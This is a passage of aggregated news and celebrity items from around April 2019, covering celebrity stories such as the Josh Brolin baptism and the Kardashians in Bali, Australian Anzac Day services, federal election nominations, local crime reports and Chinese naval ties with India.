immediately report the incident to authorities. The following day, Taylor took to Instagram to show off the shiner she received, along with a question for the All the Way Up artist. 'So, here am I on my way to a very important meeting and its hard to even focus because of what occurred last night.' Taylor said. 'I didnt wanna bring it to social media because Its pretty embarrassing and not a good look tbh. 'I tried my best to cover it up with make up and move on but that still didnt work. My Question is @remyma why did you really do this #WHATHAPPENEDTOWOMANEMPOWERMENT #BlackLove? Smh.' Taylor did file a police report. So far no charges or arrests have been brought in the case. Josh Brolin and wife Kathryn Boyd left baby Westlyn at home to enjoy some couple time together on Friday. The couple looked loved up as they strolled holding hands in Venice, California, heading to the gym together. Brolin, 51, put his arms on display in a white tank top which was cut low to show off his toned physique. Josh Brolin and wife Kathryn left their baby daughter Westlyn at home on Friday as they went to a gym in Venice, California His model wife looked fantastic just five months after welcoming their first child together. Smiling Kathryn, 31, wore a black cropped T-shirt and some long leggings. The couple celebrated the baptism of their five-month-old daughter over Easter weekend while they were in Kathryn's hometown of Atlanta, Georgia. Both parents posted long, personal captions on their respective social media accounts. Fit mom: Kathryn, 31, looked fantastic five months after giving birth as she wore a black cropped T-shirt and some long leggings Family: The couple married in 2016 and welcomed their baby girl in November Kathryn wrote: 'Monday morning begins and we are on our way back to LA from my hometown of Atlanta where we were lucky enough to baptize our babe at my church - a cathedral which continues to be the most beautiful I have ever seen, in the exact same place I was baptized over 30 years ago.' She added that while she loves discovering new things, she is also a lover of tradition so being back in her own church was meaningful. 'This occasion was that and more, and stood for many things, and while I am aware that our Westlyn will have so many choices to make, and her own spiritual path to discover,' she continued in the caption. Big day! Josh and Kathryn celebrated the baptism of their five-month-old daughter Westlyn in Atlanta, Georgia on Easter Sunday Meaningful: Westlyn was baptized at the same church where her mother received the same sacrament 30 years prior Adding: 'One thing for sure is that she will always have a home amongst this community and a direct line to God, however she chooses to interpret that relationship.' Josh echoed his wife's sentiments in his own personal message.'Today was Westlyns baptism,' he said. 'This gesture is the feeling we all had as she is introduced to a community of support and of love.' The actor, who is often vocal about social and political issues, took the time to express devastation about the bomb attacks in Sri Lanka that claimed nearly 300 lives and wounded 500 others. Milestone: Both Kathryn and Josh shared emotional social media posts on the special occasion 'I cannot write this without mentioning how devastated my wife and I are about Sri Lanka. It is an act opposite of how we want to represent ourselves in the world,' Brolin wrote. Adding: 'We went to Ebenezer church (MLKs church) day before yesterday so Westlyn could feel what that community and history was too. There are all forms of belief in God. 'The hope is that these are systems that promote peace and not horrible and senseless violence. 'The sacrament of baptism today was something that we will follow up with promoting as much scrappy, connectable peace as we possibly can.' Josh and Kathryn tied the knot in 2016 and welcomed their first child in November. The actor has two other adult children from a previous marriage. Brooke Burke was a vision in yellow as she arrived at the World of Children Hero Awards Benefit with her daughter, 12-year-old Heaven Rain Charvet in Los Angeles on Thursday. The 47-year-old actress was also hosting the event with Heaven Rain as her co-host. The Dancing With The Stars vet and her mini-me both flashed smiles as they walked the carpet before the benefit that took place at the London West Hollywood. Share the love: Brooke Burke was a vision in yellow as she arrived at the World of Children Hero Awards Benefit with her daughter, 12-year-old Heaven Rain Charvet in Los Angeles on Thursday. The former Baywatch beauty stunned in a low-cut, golden yellow dress that showed off her fit frame while Heaven rain opted for a floor-length black and gold haltered gown. Brooke accessorized with a silver bracelet, earrings and rings and a colorful clutch. She wore a pair of strappy, tan gladiator heels and wore her hair down in soft curls. Burke also sported some uncharacteristic fringe bangs. Good mom: 'So proud of my little co-host tonight for the @WorldofChildren,' Brooke wrote on Instagram, 'I love you Rainbow for using your voice and doing things that matter' Fashionable: The former Baywatch beauty stunned in a low-cut, golden yellow dress that showed off her fit frame while Heaven rain opted for a floor-length black and gold haltered gown Her eye shadow sparkled in a reddish pink hue and she chose a lipstick shade to match. Brooke took to Instagram to praise her daughter for her part in the event. 'So proud of my little co-host tonight for the @WorldofChildren,' Brooke wrote, continuing, 'I love you Rainbow for using your voice and doing things that matter.' She also posted about her participation in last year's awards benefit where she also hosted, writing 'I am honored host tonight with my daughter [Rainbow] & celebrate heroes, philanthropists & those fighting for a purpose.' Like mother like daughter: 12-year-old Heaven Rain helped her mom host the event Notable attendees included Producer/Director Rob Minkoff, model Daniela Braga, Photographer/Model Jenah Yamamoto and celebrated poet Lucas Hunt. According to their website, more than 200 supporters attended, raising more than $350,000 for the cause. World of Children is a charity that funds, elevates and educates those working to make change for children worldwide. The organization 'has dedicated more than $14 million to high-impact programs for children, led by nearly 120 Honorees working in over 50 countries,' since 1998, their website says. Family affair: Producer/Director Rob Minkoff brought the whole family along Strike a pose: Brazilian model Daniela Bragad was stylish in a buttoned blouse and black skirt On the Hunt: American poet Lucas Hunt looked dashing in a James Bond-like fitted black suit The Mummy Diaries has been recommissioned for another two years following the huge success of the ITVBe fly-on-the wall series. The hit programme, which follows the family lives of reality stars Sam and Billie Faiers, has been renewed to run until 2021, a source exclusively revealed to MailOnline. The show documents the ins and outs of the sisters day-to-day lives and has most recently covered the build up to Billie and her now husband Greg Shepherd's wedding. Exciting news: The Mummy Diaries has been recommissioned for another two years following the huge success of the ITVBe fly-on-the wall series A source exclusively told MailOnline: 'ITV have recommissioned The Mummy Diaries until at least 2021 in a mega bucks deal for the girls.' ITV first documented Sam's experience as a first-time mum with one-off series Sam Faiers: The Baby Diaries in 2014, before commissioning The Mummy Diaries in 2016. The programme closely followed Sam caring for her son Paul, now three, with her long-term partner Paul Knightley as well as offering an inside look into their careers and personal lives. They're back! The hit programme which follows the family lives of reality stars Sam and Billie Faiers has been renewed to run until 2021, a source revealed to MailOnline During her time on the programme Sam and Paul also welcomed baby Rosie, one, who viewers have since seen take her first steps and begin to communicate. In October 2017 it was announced that Billie would be joining her sister on the show, after appearing in several cameos on the programme in earlier seasons. The series saw Billie and Greg join the show with their daughter Nelly, four, who has become a firm favourite with viewers for her hilarious on-screen antics. Newlyweds: The show documents the ins and outs of the sisters day-to-day lives and has most recently covered the build up to Billie and her now husband Greg Shepherd's wedding The couple are also parents to two-year-old Arthur who also regularly features on the programme with his sister Nelly. The show has now run for five series and the final episode of the current season will conclude next week, offering an insight into Billie and Greg's idyllic Maldive's wedding. The current series has focused on the pandemonium surrounding the big day, as the family invited 95 guests to join them for their beach wedding. Wahey! A source exclusively told MailOnline: 'ITV have recommissioned The Mummy Diaries until at least 2021 in mega bucks deal for the girls' In the lead up to the event viewers have witnessed Billie's bridal shopping, Greg's suit fitting and several raucous hen and stag dos. Last month, Billie and Greg spoke to OK! magazine about their idyllic honeymoon on the island of Medhufaru and how they feel about baby number three. The reality star revealed that she and Greg made memories to 'last a lifetime' on the idyllic island off the Maldives, shortly before giving a candid insight into how she nailed her bridal body with the help of a personal trainer. Original: ITV first documented Sam's experience as a first-time mum with one-off series Sam Faiers: The Baby Diaries in 2014, before commissioning The Mummy Diaries in 2016 Sneak peak: The programme closely followed Sam caring for her son Paul, now three, with her long-term partner Paul Knightley as well as offering an inside look into their careers and personal lives Enamoured Billie added: 'We are privileged to have visited some amazing places over the years but nowhere quite compares.' And she revealed that the couple's first plans as a married couple are to go house hunting but despite saying baby number three isn't a 'priority the blonde beauty added: 'never say never'. The pair admitted that it was 'nice to take some time' on their honeymoon without their children. Billie added: 'We obviously missed the kids so much but we had such a whirlwind of a week, it was nice to take some time for Greg and I to reflect on everything.' In last week's episode of Keeping Up With The Kardashians, the famous family flew 18 hours for their vacation in Bali. And in a preview for Sunday's episode, Kim and Khloe Kardashian visit a local healer for a reading while there. However, things got strange when the healer - named Ratu - began incessantly burping during the readings 'to clean' their energy. Kim and Khloe Kardashian visit a local healer for a reading in Bali in the latest episode for Keeping Up With The Kardashians; However, things got strange when the healer - named Ratu - began incessantly burping during the readings 'to clean' their energy The clip opens up with Kim, 38, and Khloe, 34, getting introduced to healer Ratu; they shake hands and take a seat with him and a translator. Khloe is heard saying: 'This is the type of man I wanted to meet' as they prepare to begin the healing session. The sisters in an on-camera interview explain: 'We didn't really get the emotional connection we were looking for with our first healer so we were recommended to somebody named Ratu.' The episode continues with Ratu closing his eyes and clearing his throat before beginning. Surprise: The sisters were shocked to hear him burping during the cleaning of their energy Beginning: The clip opens up with Kim, 38, and Khloe, 34, getting introduced to healer Ratu; they shake hands and take a seat with him and a translator Here goes: Khloe is heard saying: 'This is the type of man I wanted to meet' as they prepare to begin the healing session Excitement: The sisters seen ready for their reading Vibes: The sisters in an on-camera interview explain: 'We didn't really get the emotional connection we were looking for with our first healer so we were recommended to somebody named Ratu' Meanwhile Kim tells the camera: 'And I can just feel we're going to get exactly what we want from this.' Khloe continues: 'The bun, the jewelry, the beard of knowledge and wisdom - this is the one.' She closes her eyes and pretends to stroke a beard and says 'hmm let me get a vibe' as Kim giggles and adds, 'This is it.' Wow: The episode continues with Ratu closing his eyes and clearing his throat before beginning Funny: She closes her eyes and pretends to stroke a beard and says 'hmm let me get a vibe' as Kim giggles and adds, 'This is it' Back to the session, Ratu releases a huge burp, followed quickly by several smaller ones. Khloe tries keeping her eyes shut with her hands on her knees - focusing on the session - but Kim opens her eyes and smiles nervously. Kim looks visibly uncomfortable during the healer's incessant burps. What: Back to the session, Ratu releases a huge burp, followed quickly by several smaller ones Awkward: Khloe tries keeping her eyes shut with her hands on her knees - focusing on the session - but Kim opens her eyes and smiles nervously She later tells the camera: 'If there's one thing I can't handle, it's burping.' Khloe now looks shocked at how many burps the healer has released. The translator senses their confusion and explains: 'he is cleaning you.' 'He's cleaning me?' Khloe says with a shocked look on her face. 'Okkk.' Not pleased: She later tells the camera: 'If there's one thing I can't handle, it's burping' Interesting: The translator senses their confusion and explains: 'he is cleaning you' Khloe on camera adds: 'I second that emotion.' Before Kim's turn, the translator tells Kim the healer thinks she's 'charming.' The healer then lets out a huge long burp as he holds his hand up in the air. Funny now: Khloe on camera adds: 'I second that emotion' Compliment: Before Kim's turn, the translator tells Kim the healer thinks she's 'charming' He then puts a sheet over each of their heads and he burps again, with Kim being heard saying: 'What the f**k.' She added: 'I'm really scared you guys' and then 'oh my God.' Kim says: 'I can't handle this.' Khloe thinks maybe it was a joke: 'Maybe they're f*****g with us. They're like look at these Americans. Lets torture them and call this healing.' Wow: He then puts a sheet over each of their heads and he burps again Not ok with her: With Kim being heard saying: 'What the f**k' Unique: She added: 'I'm really scared you guys' and then 'oh my God' Light: Khloe thinks maybe it was a joke: 'Maybe they're f*****g with us. They're like look at these Americans lets torture them and call this healing The duo are seen leaving the healer with Khloe saying to Kim: 'It's just not our f*****g thing.' 'I think we didn't even know what a healer was. We're not going to be healed,' Kim quips. Keeping Up With The Kardashians airs on E! Sundays. John Singleton's daughter Cleopatra has hit back at claims made by her grandmother Shelia Ward that the 51-year-old film director is in a coma. 'My father is not in a coma,' Ms. Singleton told The New York Times on Friday. 'My father had a stroke on April 17, 2019, and at this point we are optimistic about a full recovery,' continued the college sophomore. John Singleton's daughter Cleopatra has hit back at claims made by her grandmother Shelia Ward that the 51-year-old film director is in a coma. John seen here in February 'Myself, several of my siblings, and my fathers father will oppose my grandmothers application to be appointed my fathers legal conservator,' Cleopatra told the newspaper. Legal documents obtained by TMZ state that John's mother, Shelia Ward, is requesting that a judge appoint her as temporary conservator because he is 'unable to properly provide for his personal needs for physical health, food, clothing, or shelter.' However Cleopatra has contested these claims in court, claiming her grandmother 'has stated her intention to liquidate John's assets and leave his kids with nothing' in separate legal documents also obtained by TMZ. Shelia allegedly serves as her son's 'personal and business manager'. Referring to that role, the 2 Fast 2 Furious director's daughter said: 'My father's allowed his mother to stay in that position out of fear and obligation to her as she's bullied and abandoned my father since he was a small child, leaving him emotionally defenseless.' 'My father is not in a coma,' Ms. Singleton told The New York Times on Friday. Pictured with her dad in 2009 Singleton's medical emergency occurred last week after returning from a trip in Costa Rica as the filmmaker experienced problems with his legs as family members characterized the stroke as 'mild'. However, Ward suggested his condition was much more severe than that, claiming her son was comatose and unable to tend to his own affairs. Shelia stated that her son was engaged in several business projects and was also prepared to sign a lucrative settlement agreement before the medical emergency and she would like to handle those affairs while Singleton is unable to. Dakota Johnson is one relaxed babe. The Fifty Shades Of Grey stunner was seen out in Los Angeles on Friday cutting a casual look while shopping in Los Angeles. The 29-year-old star's outfit featured a distressed grey t-shirt while opting to go braless. Chill out: Dakota Johnson, 29, was seen out in Los Angeles on Friday cutting a casual look while clothing shopping Carrying a shopping bag in hand, Johnson returned to her car after stopping at A.P.C, a French ready-to-wear brand. Paired with the tethered shirt, Dakota rocked dark grey jeans and green accented sneakers. Along with her newly purchased items, Dakota also held a green drink in her hand. The Texan born star left her light brunette in a simple pony tail and added dark black sunglasses. Shopping spree: The Texan born star left her light brunette in a simple pony tail and added dark black sunglasses Her retail therapy trip follows Dakota's elusive British beau since 2017 - Coldplay frontman Chris Martin - facing his stalker in a Los Angeles courthouse on Wednesday. Chris came face to face with alleged stalker, Ariana Joyce. The 42-year-old Golden Globe nominee took the stand and testified for 30 minutes about Joyce who's 'showed up at his LA home multiple times' since last year. 'Chris was there to try and make the temporary restraining order a permanent one,' a source told The Blast on Wednesday. 'He was worried about the safety of his family. The judge did not rule yet on a permanent order and the case was continued until next week.' Thousands of people from Sydney and beyond have crammed into Martin Place for the Anzac Day dawn service. NSW Premier Gladys Berejiklian, Governor David Hurley and the Army's second highest official Major General Greg Bilton are among those due to address the 93rd annual service at The Cenotaph from 4.30am. "I used to come here years ago and it'd be a couple hundred people but now it's thousands," Terrance Coffey, the son of a World War II veteran, told AAP on Thursday. "It's my way of remembering Dad. Anzac Day was the way he got together with all his mates from the war." Thousands of footfalls can be heard as veterans, families and locals gather quietly before dawn in the Brisbane CBD to commemorate Anzac Day, the first at the refurbished Shrine of Remembrance in Anzac Square. In the lead up to the service, RSL Queensland president Tony Ferris said it was vital that the significance of Anzac Day was shared with future generations because there was just a handful of surviving World War Two veterans. Among those future generations to arrive on the cool morning was 15-year-old Will Purcell who said he felt it was important to pay remember the Anzacs, and his great grandfather who fought in WWII. In the shadow of Currumbin's iconic Elephant Rock, amid a crowd of 20,000 gathered to pay tribute to servicemen and women, one family cherished a final farewell to a man who embodied the Anzac spirit. The ashes of Allan Windham Conway, known as Ace from his days in the RAAF, were among those of 33 servicemen scattered on the waves by local rowers for burial at sea. It was exactly as he would have wanted it, Mr Conway's daughter Sue Casey told AAP. It was an especially poignant goodbye for many in the RSL, with Mr Conway seen as the man who transformed the Currumbin ceremony from a small club car park gathering, to one of the largest and most moving in the country. "He would never have wanted anything else. He actually ran the Anzac Day ceremony for a lot of years and it was the proudest day of the year for him," Sue said. "He lived for it." Mr Conway proudly talked of taking the event attended by just 64 people in 1982 to a day honoured by generations of Gold Coasters and beamed around the country. "He grew it. He started the flyovers and when they moved it to Elephant Rock, it was to honour those who fought in Gallipoli," Sue said. "This is his dream come to life." As the first rays of light dawned, the service began with a lone piper atop the rock where Australian and New Zealand flags flew at half mast. As moving notes of Amazing Grace sounded over the waves, lifesavers raised oars as the ashes were put to rest. In that moment, with tears flowing down her cheeks and she and thousands of people paid tribute to the Anzacs, Sue knew Ace was there in spirit. "He would be so proud," she said. "He was a true Anzac." Australian War Memorial director Brendan Nelson has lamented fundamentalists with "heinous motives" trying to disrupt Anzac Day services after a potential terror plot was foiled in Gallipoli. A suspected Islamic State member believed to have been planning an attack has been detained in the Turkish province of Tekirdag, close to the Gallipoli peninsula ahead of the dawn service. Dr Nelson praised Turkish authorities for dealing with the issue. "It's a reflection of the fact that we do have some people who have heinous motives," he told reporters in Canberra on Thursday. "The Turkish authorities went to extraordinary lengths to see that the Gallipoli peninsula was secure for the Anzac Day services that are being held there." Turkish nationals were banned from attending the dawn service, which Chief of the Defence Force Angus Campbell is due to be at, amid heightened security fears. "Unfortunately we live in a world where there are people - wherever they live, whatever their background, whatever their beliefs - who are fundamentalists intent on disrupting what we do," Dr Nelson said. "The most important thing we can do is go about living our lives." A man has been taken to hospital with life-threatening injuries after being assaulted south of Brisbane. Critical care paramedics were called to Dover Court at Browns Plains in Logan after the man collapsed and hit the ground at 9.30pm on Wednesday following an argument with another man and a woman. Police said the 26-year-old was taken to Princess Alexandra Hospital and the uninjured pair were helping officers with inquiries. In an unrelated incident west of Brisbane, a woman has been taken into custody after a man suffered a number of stab wounds to his neck and abdomen. Police were called to a house in Ipswich on Wednesday night where they found the seriously injured 30-year-old. He was taken to Ipswich hospital while the woman was assisting detectives with their questions. Veterans families will, for the first time, march in the Brisbane Anzac Day parade behind banners reflecting the military campaigns their loved ones fought in. They will join about 2500 serving defence force personnel, veterans and other commemorating members of the public, who are preparing to march down Adelaide Street in the city centre on Thursday. A traditional lone riderless horse to honour the Australian servicemen and women who died in conflict zones will lead the parade, which also includes veterans from about 10 allied nations. More than 1500 candidates have thrown their hat into the ring for the May federal election, but the final figure has failed to break the record set three years ago. The Australian Election Commission has announced 458 candidates will contest 40 Senate vacancies on May 18. Some 1056 people will vie for 151 House of Representatives seats across Australia, bringing the total to 1514. The number is slightly lower than in 2016 when a double-dissolution election meant almost double the amount of Senate spots were up for grabs and 1625 candidates nominated. More than 50 million ballot papers will be printed and distributed over the next few days ahead of early voting starting on Monday. A record 16.4 million Australians are enrolled to vote and will be able to cast their votes at more than 8000 polling places from Monday until polls close at 6pm on May 18. Of the 458 Senate candidates, 280 are men and 178 women. Among the 1056 lower house candidates, 714 are men, 341 women and one didn't identify a gender. The candidate nominations were officially declared on Wednesday, with ballot draws done soon after to decide the order in which people are listed. Pauline Hanson's chances of getting two of her One Nation colleagues over the line in the Senate were boosted in Queensland and Western Australia. One Nation drew second spot on the Queensland Senate ballot paper and first on the WA paper, in a process conducted by the AEC. As Prince William joined Australians and New Zealanders honouring their servicemen and women, 100-year-old veteran Sam Krycer was feeling particularly humble and emotional. The former leading aircraftman had the honour of leading Melbourne's Anzac Day march alongside other World War II veterans. "It gets a bit emotional for me today. I didn't expect all of that," Mr Krycer said of the scale of Thursday's proceedings. "I still feel humbled, really, (to) see these young boys. "I also remember all the thousands of those who didn't make it back home." Prince William joined those paying tribute at services around Australia and New Zealand 104 years after Allied troops landed at Gallipoli in Turkey in World War I. The Duke of Cambridge laid a wreath on behalf of his grandmother Queen Elizabeth II during a civic service at Auckland's War Memorial Museum. Tens of thousands turned out to watch the Anzac Day marches in cities across Australia. Delivering his final Anzac Day address at the Australian War Memorial in Canberra, outgoing Governor-General Sir Peter Cosgrove explained the fundamental reason so many assembled each year. "It is by our presence to say to the shades of those countless men and women who did not come home, or who made it back but who have now passed, and to say to their modern representatives, the ones around the nation who today march behind their banners: "You matter. What you did matters. You are in our hearts. Let it be always thus." The former defence force chief said veterans marched to honour "those who have faded from our ranks". "Gone but not forgotten, while there's a breath in any of us," he said. "When we march we like to look at those gathered to watch and wonder, young and old, family, friends and strangers, and to catch their gaze and convey our silent message: We did it for our nation, for what Australia stands for. We did it for you.' "Let it be always thus." Australia's oldest living Victoria Cross recipient Keith Payne, who received Australia's highest military honour for risking his life to save 40 men in Vietnam, joined the annual commemorative march in Adelaide. The 85-year-old said Anzac Day ceremonies continue to draw large crowds of all ages because young people understand the sacrifice of those who have served in the military. "Australia's seeing the younger generation appreciate the peace that's been given to them," Mr Payne said. "I know that they'll look after peace into the future." Australia's oldest living Victoria Cross recipient, who risked his life to save 40 men in Vietnam, says young people embrace Anzac Day because they "appreciate the peace that's been given to them". Keith Payne VC AM, 85, received Australia's highest military honour for rescuing fellow soldiers while under enemy fire and suffering his own injuries during the Battle of Ben Het in 1969. Mr Payne joined other veterans, serving personnel and descendants on the annual Anzac Day commemorative march in Adelaide on Thursday. He said the occasion continues to draw large crowds of all ages because young people have an appreciation for the sacrifices of service men and women. "Australia's seeing the younger generation appreciate the peace that's been given to them," he told AAP during the march. "I know that they'll look after peace into the future." Also marching were British veterans Bob Biggs and 99-year-old Pat Rothery, who worked on Royal Navy ships to deliver supplies to Russia after it was invaded by Germany during World War II. "They were on the same ship on the Arctic convoys and dad got washed overboard and Bobby Biggs was on the same ship and helped him," Mr Rothery's daughter, Susan Payne, said. "It's pretty emotional to be marching together." Earlier, thousands gathered at the SA National War Memorial for the city's dawn service. Among them was nine-year-old Caelan Ryan, who wore a dress uniform that belonged to his great-grandfather, Sergeant Leonard Sylvester Dick. Caelan, who attended the service his dad Damian, said even though he never met his great-grandfather, he felt a connection to him through the hat, jacket and replica medals. "It's very special to be here in memory of him and all the other Australians who fought," he said after the service on Thursday. "One day we did research on him and we found out that he was in the 57th/60th battalion and he fought in New Guinea." Ian Smith, chair of the RSL SA's Anzac Day committee, warned the crowd the Anzac tradition should not be used to promote "unthinking nationalism". "We must also be wary of those that seek to misuse the service and sacrifice of our men and women to promote their own narrow agendas," he said in an address. "Such actions are unwelcome and we must protect ourselves and our ANZAC traditions from them." Meanwhile, a man allegedly carrying an axe and a knife was nabbed by police at a dawn service in the city's western suburbs. Officers spotted the Kilkenny man carrying a bag with a wooden handle sticking out of it as he walked along Seaview Road at the Henley Beach service about 7am. The 41-year-old was arrested and was charged with two counts of carrying an offensive weapon. He was bailed to appear in Port Adelaide Magistrates Court in June. FEDERAL ELECTION CAMPAIGN: DAY 15 WHERE THE LEADERS CAMPAIGNED * Prime Minister Scott Morrison: Townsville (Herbert) * Labor leader Bill Shorten: Darwin (Solomon) WHAT THE COALITION WANTED TO TALK ABOUT Service men and women in the Defence Force today and dealing with the aftermath of war WHAT LABOR WANTED TO TALK ABOUT: Australians not allowing terrorists to win by being discouraged from attending Anzac Day services abroad WHAT MADE NEWS: * The leaders pausing campaigning to commemorate Anzac Day * More than 1500 candidates nominated to contest the election * A suspected Islamic State terrorist arrested in Turkey amid fears he was planning to attack Anzac Day services in Gallipoli * Mr Morrison confirming one of the suicide bombers involved in the Sri Lankan Easter Sunday bombings spent time in Australia. TWEETED: "ANZAC Day is Australia's most important day. It is imperative we reflect on those who died on battlefields thousands of kilometres from their homes and loved ones." - Nationals leader Michael McCormack after attending the Anzac Day march in Wagga Wagga. A South Australian man is wanted by police after he allegedly stabbed a woman multiple times, leaving her with serious injuries. Officers and paramedics were called to house at Murray Bridge in the state's southeast just before midday on Thursday. The 24-year-old victim is in a serious condition and will be airlifted to the Royal Adelaide Hospital. The suspect, who is known to the woman, fled the scene and is believed to be travelling in a black Nissan Nivara ute with the registration plates S979AHH. A rooftop sniper at Melbourne's Shrine of Remembrance has watched over the city's Anzac Day dawn service, attended by around 10,000 fewer people than last year. But organisers insist that despite a heightened security presence, it wasn't a threat of terror that deterred a larger crowd. Shrine chief executive Dean Lee put the lower numbers down to Anzac Day falling right after the Easter long weekend and more people attending local services. In 2017 some 35,000 people gathered at the shrine for the dawn service, compared to an estimated 25,000 on Thursday. Clearly visible to the crowd was a cropped-haired sniper positioned behind the elevated granite bastion, looking through the sight of his rifle, which was pointing over the crowd below. Police had earlier foreshadowed a strong presence throughout the CBD for Thursday's ceremonies, adding there was "no intelligence at all" to suggest any trouble. Security measures aside, Mr Lee was pleased by the turnout. "The commitment of Victorians to honour those whose service and sacrifice contributed so much to our nation, is humbling," he said. "The diversity of those gathered today in the pre-dawn darkness affirms that the values defended, endure." World War II veteran Sam Krycer, 100, led the city's march alongside fellow vets Keith Hearne, 93, and Robert Jeavons, 92, as the RSL acknowledged 80 years since the start of the Second World War. "I still feel humbled, really, to see these young boys," Mr Krycer told AAP after the march, acknowledging the younger serving generations. "I also remember all the thousands of those who didn't make it back home. So it's not all smiles." Following the march, Governor of Victoria Linda Dessau addressed the crowd. "It really doesn't matter whether it was 100 years ago or just yesterday. The sacrifices that they made are ageless," she said. "We do not forgot just because it was not in our lifetime or on our doorstep." Premier Daniel Andrews paid tribute to veterans. "It is their stories and their wisdom that confirm why we are all here," he said. Scattered throughout the crowds attending official events were the club colours on scarfs and sweaters of Essendon and Collingwood ahead of the traditional Anzac Day AFL clash. PLA Naval Band receiving Indian Navy Ships Kolkata and Shakti at Qingdao, China. Photo: Indian Navy BEIJING (PTI): The Chinese military said on Thursday that it "always attached importance" to relations with the Indian and Pakistani counterparts and was ready to make more efforts to advance the ties, but kept silent over the absence of ships from its all-weather ally at the fleet review of the 70th anniversary celebrations of China's navy (PLAN). Two Indian battle ships, including INS Kolkata - the biggest indigenously built stealth destroyer - along with INS Shakti - one of biggest fleet support ships - took part in the fleet review at Qingdao on April 23 which was presided over by Chinese President Xi Jinping. Significantly, conspicuous by their absence were the ships of Pakistan Navy at the parade. The Pakistan Navy reportedly could not send its ships to PLAN's most celebrated moment despite the all-weather relations due to the recent Indo-Pak hostilities after the deadly Pulwama terror attack in February. However, a delegation headed by Pakistan Navy chief Admiral Zafar Mahmood Abbasi attended the event. Asked how China viewed the participation of the Indian Navy ships, Chinese defence ministry spokesman Col Ren Guochang told a media briefing that more than 60 countries sent their naval delegations and 13 countries have sent their ships to take part in the review. He said the Chinese navy's 70th anniversary celebrations will "undoubtedly concretise the friendship and mutual relations between the PLA Navy (PLAN) and its international counterparts." "At the same time, China always attached importance to the military-to-military relations between China and India and China and Pakistan. We are ready to make more efforts with the two nations to push forward the military relations and exchanges," he said. He, however, evaded answer to a question over the absence of the Pakistan Navy ships in the fleet review. Col Ren was critical of the French naval ship which was scheduled to take part in the PLAN celebrations. China reportedly withdrew the invitation to the French naval ship Vendemiaire on the ground that it trespassed into Chinese waters at the Taiwan Strait, which Beijing claims as part of it. Also significantly while arriving to take part in the PLAN's grand event, the Indian Navy ships came through Taiwan Strait, the narrow strip of waters of the Pacific that separates China and Taiwan. China protested to the US on March 25 when two American naval ships sailed through the Taiwan Strait. In his media interaction after the arrival of the Indian ships, Commander of INS Kolkata, Captain Aditya Hara when asked whether the Indian ships came through Taiwan Strait said on April 21 during a media interaction at Qingdao that the Indian ships did pass through the Taiwan Strait and that the transit was made in accordance with international law. Chinese ships were present in the Straits to offer assistance for a safe passage, he said. RAAF serviceman Austin Asche has just about done it all in life but it's Anzac Day that means everything to the 93-year-old and he believes it should to every Australian. It is a measure of the esteem in which he is held that Bill Shorten made a beeline for him and sat for a quiet chat at the Northern Territory's main dawn service on Thursday. The federal opposition leader had just addressed a crowd of several thousand at the Cenotaph War Memorial overlooking Darwin Harbour and the Timor Sea. After growing up in Darwin Ms Asche moved to Victoria but resettled after the bombing of the Top End in World War II to find the city largely destroyed and teeming with Australian and US forces. After serving during the war in Darwin, on Bathurst Island and in the Bonaparte Archipelago, he forged a lengthy legal career before being appointed administrator of the Northern Territory - the equivalent to a state governor - in 1993. He was also the third Chief Justice of the Supreme Court of the NT. Yet none of his achievements overshadow the significance to him of Anzac Day. "It is part of what we grow up with, part of our culture given to us by brave men and women and many of our great men and women have carried it on in Korea and Vietnam and many other places," Mr Asche said at the Darwin cenotaph. "Everybody should serve at some stage, meeting friends and fellow Australians." Mr Asche said he had enjoyed a visit to Darwin High School only the previous day and saw "kids who must have been every nationality ... all celebrating Anzac Day,". "They may not (understand) yet but they will ... and they'll know that's being part of Australia carrying on tradition," he said. Mr Shorten told those present, including locally-based Australian and US defence service workers, the sacrifices made in the past had allowed a free, democratic society. "Seventy-seven years ago bare metres from here and in the waters behind us ... Japanese bomb's brought war to Australia," he said. "Together we pledge to do better and do more to help the new generation home from Afghanistan with the transition to civilian life. "Those who have fought for our country should never have to fight post traumatic stress or poverty or homelessness on their own." The most senior Air Force member in the NT, wing commander Steven Parsons, told the service that in an imperfect world Australia had to stand up for what it believed was right. "When it is necessary to preserve the peace in our region and elsewhere in the world, we must be prepared to deploy our forces, to struggle for and protect the rights of our own nation and that of our neighbours," he said. Sandra Davis didn't serve in the military but for more than 25 years she has proudly marched on Anzac Day to commemorate her father's service in World War II. Her dad, Bill Wharton, survived three-and-a-half years as a prisoner of war in the notorious Changi prison after he was captured in Singapore. His secret diary and sketches of prison life hidden from the Japanese guards form part of the collection at the Australian War Memorial. "He was a great man, very resilient," Ms Davis, 71, said of her father, who also marched until he died aged 90. "Now I march for him. It's a day of remembrance and a chance for all of us to show respect for past and present servicemen and women." On Thursday, Ms Davis joined about 3000 serving defence force personnel, veterans and other commemorating members of the public marching through Brisbane. Thousands of people clapped the procession to the sound of military bands as fighter jets soaring overhead. Standing on the footpath and waving a small flag, Kerry Thompson said she rarely missed an Anzac Day parade. "I've had a grandfather serve, I've got two nephews serving - you wouldn't miss this," she said as hundreds of uniformed servicemen and women marched past. "I love getting involved, it's great seeing so much Australian pride." It was a stark contrast to the sombre mood at dawn services across Queensland. At Currumbin on the Gold Coast, a crowd of about 20,000 crammed the beach in the shadow of the iconic Elephant Rock. Bathed in red light, it resembled the soaring cliffs of Gallipoli, as a lone piper's tune rang out through the silence as if calling to the men and women who'd died serving their country. Currumbin RSL president Michael Humphreys said war had stolen Australian's innocence. The ashes of 33 veterans were scattered at sea as the first rays of light dawned. About 20,000 people packed Anzac Square in Brisbane as the muted sound of drums kicked off commemorations at the Shrine of Remembrance at 4.28am - the time the first boats came ashore at Anzac Cove in 1915. Later at the march, Vietnam War veteran Paul La Forest said he owed it to his mates killed in South Vietnam to take part each year. The 74-year-old spent a year and a day near Nui Dat with Tiger Battalion after he was conscripted for service in 1965. "Marching is my tribute to my mates who got killed. I just feel like I owe them that to turn up today," he said. "I was there on the first day of battle when Errol Noack, the first national serviceman to die, was killed from our platoon." Crowds of more than 35,000 people attended the Anzac Day dawn service at the Australian War Memorial, gathering on a crispy autumn morning to pay tribute to veterans. Victoria Cross recipient Mark Donaldson told the crowd that Australians had an obligation to the brave men and women who have served the nation. "We honour their sacrifice by living a good life in support of others, respecting the freedoms given us and inspiring others to build a better Australia and a stronger Anzac spirit," he said in Canberra. "We should strive to be worthy of these sacrifices made for us." Corporal Donaldson received the country's highest military honour a decade ago, becoming the first person in almost 40 years to receive the award. He received the honour for rescuing a coalition forces interpreter from heavy fire in Oruzgan Province in Afghanistan. Anna Bean, whose father served in the 6th battalion, travelled interstate from Melbourne for her first service in the capital. "We thought it would feel really special," she said. Hours after the dawn service, 